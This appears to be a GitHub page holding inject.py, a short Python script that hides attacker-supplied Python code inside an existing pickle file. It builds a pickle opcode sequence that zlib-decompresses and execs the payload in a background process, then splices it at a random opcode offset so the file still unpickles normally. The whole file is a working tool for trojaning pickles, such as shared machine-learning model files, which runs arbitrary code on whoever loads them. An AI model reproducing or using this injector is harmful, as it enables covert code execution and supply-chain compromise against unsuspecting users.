-
Notifications
You must be signed in to change notification settings - Fork 1
/
inject.py
72 lines (65 loc) · 3.2 KB
/
inject.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import sys
import pickletools
import tempfile
import os
import random
import zlib
import struct
# Open the files
inf, outf, pos = None, None, None
try:
inf = open(sys.argv[1],'rb')
outf = open(sys.argv[2],'wb')
maliciousPy = open(sys.argv[3], 'rb').read()
except Exception as e:
print(e)
print('{} inputFile outputFile pythonFileToInject'.format(sys.argv[0]))
exit()
# create the payload, the shellcode resolves to this.
# zlib decompress the blob and python exec it.
# the proto at the beginning and end change it to two, and back to what it was
# that just ensures consistancy in case other versions make this less effective.
# 94250272: \x80 PROTO 2
# 94250274: c GLOBAL '__builtin__ exec'
# 94250292: ( MARK
# 94250293: c GLOBAL 'zlib decompress'
# 94250310: ( MARK
# 94250311: B BINBYTES b'x\xda\xac...\x80\x12'
# 94282393: t TUPLE (MARK at 94250310)
# 94282394: R REDUCE
# 94282395: t TUPLE (MARK at 94250292)
# 94282396: R REDUCE
# 94282397: 0 POP
# 94282398: \x80 PROTO 4
code = b'from multiprocessing import Process\np = Process(target=exec, args=("""'+maliciousPy+b'""",{"__name__":"__main__"}, ))\np.start()'
data = zlib.compress(code,level=9)
payload = bytearray(b'\x80\x02c__builtin__\nexec\n(czlib\ndecompress\n(B'+struct.pack("<I",len(data))+data+b'tRtR0\x80')
# dissasemble the target pickle and get potential locations
temp = tempfile.TemporaryFile("w+")
locations = []
while inf.tell() != os.fstat(inf.fileno()).st_size:
try:
pickletools.dis(inf, temp)
temp.seek(0)
version = int(temp.read().partition('highest protocol among opcodes = ')[2].partition('\n')[0])
temp.seek(0)
tempLocations = [location.partition(":")[0] for location in temp.read().split('\n')]
for location in tempLocations:
try:
locations.append((int(location),version))
except ValueError as e:
pass
except Exception as e:
print(e)
break
# pick a random opcode and inject our shellcode before it.
# since pickle opcodes are location independent and our shellcode cleans up the stack, we can inject anywhere and it shouldn't affect a thing.
pos, version = random.choice(locations)
# append the version so that it is set at the end. the shell code doesn't define what it's being set back to until this point.
payload.append(version)
# simply write the target to the output file up to the injection location, write the shellcode to the output, and then write everything left in the target to the output.
inf.seek(0)
print("injecting at",pos)
outf.write(inf.read(pos))
outf.write(payload)
outf.write(inf.read())